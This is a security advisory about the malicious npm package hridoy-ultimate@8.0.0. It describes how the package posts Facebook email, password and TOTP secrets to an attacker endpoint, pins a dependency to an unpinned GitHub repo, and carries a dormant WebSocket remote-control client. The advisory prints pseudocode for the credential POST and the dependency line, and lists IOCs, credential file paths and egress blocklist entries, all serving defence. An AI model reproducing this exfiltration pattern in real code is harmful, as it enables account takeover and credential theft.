npm `hridoy-ultimate@8.0.0` ships Facebook email + password + TOTP 2FA secrets to `minhdong.site/api/v1/facebook/login_ios` and pins its `fca-unofficial` dep at `VangBanLaNhat/fca-unofficial#HEAD`
hridoy-ultimate@8.0.0 on npm advertises as an "unofficial Facebook chat client", but module/loginHelper.js posts the caller-supplied FB email, password, AND TOTP 2FA secret to minhdong.site/api/v1/facebook/login_ios, and the package pins its fca-unofficial dependency to a bare VangBanLaNhat/fca-unofficial GitHub repo (no SHA, no tag) so the attacker can swap install-time code at will. GHSA-8chm-j6jp-f4h3 / MAL-2026-17803, published 2026-10-11.
- Incident type
- Malicious package. A package that was malicious from its first publish under its own name - a fake tool, a lure used in a social-engineering campaign, or a trojanised utility - rather than a copy of an existing name.
- Detected by
- OpenSSF malicious-packages · Amazon Inspector · GitHub Advisory Database
- Also known as
- hridoy-ultimate FB password + TOTP exfil · minhdong.site Facebook credential sink
- Ecosystems
- npm
- Packages tracked
- 1
What happened
Published to npm as hridoy-ultimate@8.0.0, flagged by Amazon Inspectors IN-MAL feed, surfaced to the OpenSSF malicious-packages` repository as MAL-2026-17803, and published to the GitHub Advisory Database on 2026-10-11 as GHSA-8chm-j6jp-f4h3 with weakness class CWE-506 (Embedded Malicious Code).
The lure
The package markets itself as an unofficial Facebook chat client (part of the long-running fca-unofficial family). Its README advertises password + TOTP login as a feature - "no app-passwords, no OAuth, just email, password and 2FA" - which is precisely the credential set the exfiltration path captures.
The payload
Two install-time and run-time behaviours.
1. Credential POST on login
module/loginHelper.js
function loginIOS({email, password, totpSecret}) {
POST https://minhdong.site/api/v1/facebook/login_ios
body: { email, password, totpSecret, ...}
-> returns {cookies, access_token}
}The sink endpoints default lives in module/config.js and the README does not disclose that credentials leave the local process. The servers response is passed back as if the library had talked to Facebook directly, which hides the exfiltration from any caller that only inspects return values.
The TOTP SECRET is in the request body, not just a TOTP CODE. A TOTP code expires in 30 s; a TOTP secret regenerates valid codes indefinitely, so the operator keeps 2FA access on the hijacked account until the user manually disables and re-enables TOTP from a different device.
2. GitHub HEAD-pinned dependency
package.json
"dependencies": {
"fca-unofficial": "github:VangBanLaNhat/fca-unofficial"
}No commit SHA, no tag. npm install fetches whatever HEAD of github.com/VangBanLaNhat/fca-unofficial currently points at and runs its lifecycle scripts. The vendor bundle under src/api/socket/e2ee/ require()s that module at runtime, so a force-push to the attackers GitHub repo rotates the code that runs inside anyones build.
3. Dormant WebSocket RAT
src/remote/remoteClient.js opens a WebSocket to a URL in config.js. In the shipped 8.0.0, the receive handler stores messages but does not eval them, so this is dormant for anyone who does not flip the config. It is an upgrade path, not an active channel.
IOCs
- host:
minhdong.site(sink apex) - url:
https://minhdong.site/api/v1/facebook/login_ios(exact credential-POST path) - github:
github.com/VangBanLaNhat/fca-unofficial(unpinned transitive) - files:
module/loginHelper.js,module/config.js,src/api/socket/e2ee/,src/remote/remoteClient.js - source hash (Amazon Inspector):
221c8e51e1341e954c4f2ea3ea4a139606138c8ecc1ab99e17f403e304f05157
Classification
malicious-package (first-publish under its own name, impersonating no specific legitimate upstream but trading on the fca-unofficial family brand). high - confirmed credential-stealing primitive against a real target product (Facebook accounts with 2FA), with a working downstream reach (anyone building on this library), but the operator does not get code execution on arbitrary installer hosts unless a downstream app enables the WebSocket RAT.
Discovery
OpenSSF malicious-packages, Amazon Inspector. Advisory published to GitHub Advisory Database on 2026-10-11.
Affected packages (1)
- npmhridoy-ultimate8.0.0
These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once - it runs in your browser and nothing is uploaded.
Impact
- Credential exfiltration primitive (not install-time): unlike a typical dep-confusion postinstall probe, this package
s malicious behaviour fires only when a developer BUILDS an app on top of it and that app invokes the password login path.module/loginHelper.jstakes the caller-supplied{email, password, totpSecret}triple, formats a request body, and POSTs it tohttps://minhdong.site/api/v1/facebook/login_ioswhose default endpoint is set inmodule/config.js. The attackers server then replies with session cookies or an access token - which the library returns to the caller as if they came from Facebook. This gives the operator both the raw credentials AND a working session: they can log into the victim`s Facebook account, read messages, impersonate the user, dismiss sign-in alerts, pivot to linked WhatsApp Business accounts, and raid any Meta Business Manager access the account carries - TOTP 2FA secret is included in the exfiltration body - not just a one-shot TOTP code. A 2FA secret can regenerate TOTP codes indefinitely until the user resets 2FA. In practice this means the FB 2FA on the account is also owned by the attacker for as long as the secret remains unchanged, and any "account recovery" that keeps the same secret does not expel the attacker
- Supply-chain second-stage via unpinned GitHub dep:
package.jsondeclares"fca-unofficial": "github:VangBanLaNhat/fca-unofficial"(no#<sha>and no#<tag>).npm installfetches the currentHEADof that attacker-controlled repo and runs its lifecycle scripts. The vendor bundle undersrc/api/socket/e2ee/require()s that module during normal use, so there is a loaded-at-runtime second channel the operator can hot-swap by force-pushing toVangBanLaNhat/fca-unofficial. Install integrity hashes do not protect against this because the resolver pins to the git ref, not the tree - Opt-in WebSocket remote-control sidecar:
src/remote/remoteClient.jsis a config-gated WebSocket client - with the right config it keeps a persistent connection to the operator and emits events on receive, though in8.0.0the handler does not itself execute received data. If a downstream app enables it with the operators URL inconfig.js`, the package becomes a full RAT. This is dormant unless the config is flipped - Victim profile and reach: anyone building a bot or chat-automation tool on
hridoy-ultimate@8.0.0whose end users log in with Facebook email+password+2FA. The packages own README positions it as a successor to the long-infamousfca-unofficialfamily and advertises "token-free" ("just use email + password + 2FA") login, which is the exact scenario the exfiltration path depends on. Any CI that happens to run the login path against a honeypot account will leak that accounts credentials and a working session cookie
What to do
- 1
grep -nE "hridoy-ultimate" package.json package-lock.json yarn.lock pnpm-lock.yaml .npmrcacross every repo. On any hit, assume every Facebook, Instagram, WhatsApp Business, and Meta Business Manager credential your users or you logged in with through this library is in operator hands - rotate those passwords, disable then re-enable TOTP 2FA so a fresh secret is generated, revoke every active session onfacebook.com/settings/active-sessions, and audit "Business Manager" and "Business Portfolio" admin logs for operator access - 2
grep -nE "VangBanLaNhat/fca-unofficial" package.json package-lock.jsonfor the direct bare-repo-pin anti-pattern. On any hit (direct or transitive throughhridoy-ultimate), the attackersfca-unofficialfork has been installed and its lifecycle scripts have run. Treat the installing host as compromised. Any secret the Node runtime could reach -~/.aws/credentials,~/.ssh/,~/.npmrcauth tokens, GitHub PATs in~/.config/gh/, env vars named_TOKEN/_SECRET/_KEY/AUTH/npm_` - should be rotated - 3Egress blocklist additions for build hosts, bot runners, and corporate egress proxies: deny outbound HTTPS to the apex
minhdong.siteand togithub.com/VangBanLaNhat/fca-unofficial(GitHub blocking at that path alone is proxy-dependent; blocking the userVangBanLaNhaton GitHub Enterprise is often simpler). For CI, enforce dependency pinning with--frozen-lockfileand reject anypackage.jsonwhose dependency spec is a bare GitHub repo without a#<sha>or#<tag> - 4Downstream signal: if your product uses
hridoy-ultimate's "token-free" Facebook login as a convenience path for end users, remove it immediately. There is no safe way to pass a Facebook password through a third-party library that controls its own HTTP sink. The replacement is Facebook Login OAuth with the real/dialog/oauthflow (user types the password only onfacebook.com) or Graph API usage with user-issued long-lived tokens - 5Developer education: Facebook
fca-unofficialfamily libraries have been abuse magnets for years (Facebook has repeatedly tried to block them, maintainers hand over control, forks appear on GitHub without npm presence). The ecosystem norm "its unofficial so pin the GitHub repo" is exactly what todays compromise exploits. Any npm package in the chat-automation space that pins its core dependency to a bare GitHub repo and asks for raw password + TOTP secret is structurally hostile regardless of the current maintainer`s intent